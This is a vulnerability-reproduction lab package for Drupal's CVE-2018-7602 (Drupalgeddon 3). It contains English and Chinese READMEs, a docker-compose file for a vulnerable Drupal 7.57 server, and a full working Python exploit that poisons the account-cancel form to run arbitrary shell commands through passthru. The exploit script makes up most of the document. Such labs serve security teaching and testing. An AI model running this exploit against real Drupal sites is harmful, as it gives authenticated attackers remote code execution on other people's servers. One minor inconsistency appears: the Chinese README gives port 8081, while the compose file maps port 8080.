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drupal/CVE-2018-7602/1.png
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drupal/CVE-2018-7602/1.png
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drupal/CVE-2018-7602/README.md
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drupal/CVE-2018-7602/README.md
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# Drupal Drupalgeddon 3 Authenticated Remote Code Execution (CVE-2018-7602)
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[中文版本(Chinese version)](README.zh-cn.md)
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Drupal is a free and open-source web content management framework written in PHP.
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A remote code execution vulnerability exists in Drupal 7.x and 8.x. The vulnerability is caused by insufficient input sanitization, where double URL encoding of the '#' character can bypass the sanitize() function filter, leading to remote code execution.
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References:
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- <https://www.drupal.org/sa-core-2018-004>
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- <https://github.com/pimps/CVE-2018-7600>
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- <https://github.com/kastellanos/CVE-2018-7602>
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## Environment Setup
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Execute the following command to start a vulnerable Drupal 7.57 server:
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```bash
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docker compose up -d
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```
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After the server is started, visit `http://your-ip:8080/` to access the Drupal installation page. Follow the default configuration steps to complete the installation. Since there is no MySQL environment, you can choose SQLite as the database.
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Remember the username and password of the account you created during the installation, because you will need it to exploit the vulnerability.
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## Vulnerability Reproduction
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Using the PoC from [pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py), execute the following command to exploit the vulnerability:
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```bash
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# Replace "id" with the command you want to execute
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# First "drupal" is your username, second "drupal" is your password
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python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8080/
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```
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As shown in the red box in the image below, the command is successfully executed:
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drupal/CVE-2018-7602/README.zh-cn.md
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drupal/CVE-2018-7602/README.zh-cn.md
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# Drupal Drupalgeddon 3 后台远程代码执行漏洞(CVE-2018-7602)
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Drupal是一个使用PHP编写的免费开源的Web内容管理框架。
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在Drupal 7.x和8.x版本中存在远程代码执行漏洞。该漏洞是由于输入过滤不充分,通过对URL中的'#'字符进行两次URL编码可以绕过sanitize()函数过滤,从而导致远程代码执行。
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参考链接:
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- <https://www.drupal.org/sa-core-2018-004>
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- <https://github.com/pimps/CVE-2018-7600>
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- <https://github.com/kastellanos/CVE-2018-7602>
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## 环境搭建
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执行如下命令启动一个存在漏洞的Drupal 7.57服务器:
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```
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:8081/`将会看到Drupal的安装页面。按照默认配置完成安装步骤。由于环境中没有MySQL,可以选择SQLite作为数据库。
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安装过程中,请记住你创建的账户信息,因为需要用它来利用漏洞。
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## 漏洞复现
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使用来自[pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)的PoC,执行以下命令来利用漏洞:
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```
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# 将"id"替换为你想执行的命令
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# 第一个"drupal"是用户名,第二个"drupal"是密码
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python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/
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```
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如下图红框所示,命令成功执行:
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drupal/CVE-2018-7602/docker-compose.yml
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drupal/CVE-2018-7602/docker-compose.yml
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services:
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web:
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image: vulhub/drupal:7.57
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ports:
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- "8080:80"
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drupal/CVE-2018-7602/drupa7-CVE-2018-7602.py
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drupal/CVE-2018-7602/drupa7-CVE-2018-7602.py
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#!/usr/bin/env python3
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import requests
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import argparse
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from bs4 import BeautifulSoup
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def get_args():
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parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
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formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
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epilog= '''
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This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
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using an valid account and poisoning the cancel account form (user_cancel_confirm_form)
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with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
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''')
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parser.add_argument("user", help="Username")
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parser.add_argument("password", help="Password")
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parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
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parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
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parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
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parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
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args = parser.parse_args()
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return args
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def pwn_target(target, username, password, function, command, proxy):
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requests.packages.urllib3.disable_warnings()
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session = requests.Session()
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proxyConf = {'http': proxy, 'https': proxy}
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try:
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print('[*] Creating a session using the provided credential...')
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get_params = {'q':'user/login'}
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post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
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print('[*] Finding User ID...')
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session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
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get_params = {'q':'user'}
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r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
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soup = BeautifulSoup(r.text, "html.parser")
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user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
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if ("?q=" in user_id):
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user_id = user_id.split("=")[1]
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if(user_id):
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print('[*] User ID found: ' + user_id)
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print('[*] Poisoning a form using \'destination\' and including it in cache.')
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get_params = {'q': user_id + '/cancel'}
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r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
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soup = BeautifulSoup(r.text, "html.parser")
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form = soup.find('form', {'id': 'user-cancel-confirm-form'})
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form_token = form.find('input', {'name': 'form_token'}).get('value')
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get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
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post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
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r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
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soup = BeautifulSoup(r.text, "html.parser")
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form = soup.find('form', {'id': 'user-cancel-confirm-form'})
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form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
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if form_build_id:
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print('[*] Poisoned form ID: ' + form_build_id)
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print('[*] Triggering exploit to execute: ' + command)
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get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
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post_params = {'form_build_id':form_build_id}
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r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
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parsed_result = r.text.split('[{"command":"settings"')[0]
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print(parsed_result)
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except:
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print("ERROR: Something went wrong.")
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raise
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def main():
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print ()
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print ('===================================================================================')
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print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')
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print ('| by pimps |')
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print ('===================================================================================\n')
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args = get_args() # get the cl args
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pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
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if __name__ == '__main__':
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main()
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